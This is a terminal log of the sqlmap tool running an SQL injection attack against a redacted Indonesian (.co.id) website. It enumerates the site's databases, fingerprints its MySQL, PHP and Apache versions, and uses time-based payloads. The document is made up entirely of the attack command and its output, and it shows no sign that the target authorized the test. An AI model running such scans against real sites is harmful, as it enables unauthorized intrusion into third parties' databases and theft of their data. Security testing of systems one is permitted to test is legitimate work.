$ python sqlmap.py -u "https://*********.co.id/******/brand/****?limit=**" --dbs

[16:11:17] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.30, Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[16:11:17] [INFO] fetching database names
[16:11:17] [INFO] fetching number of databases
[16:11:17] [WARNING] reflective value(s) found and filtering outr statistical model, please wait
.............................. (done)
[16:11:21] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions

[16:11:21] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:11:21] [ERROR] unable to retrieve the number of databases
[16:11:21] [INFO] falling back to current database
[16:11:21] [INFO] fetching current database
[16:11:21] [INFO] resumed: i
available databases [1]:
[*] i

[16:11:21] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 33 times
[16:11:21] [INFO] fetched data logged to text files under '/Users/naufalardhani/.sqlmap/output/********.co.id'

[*] shutting down at 16:11:21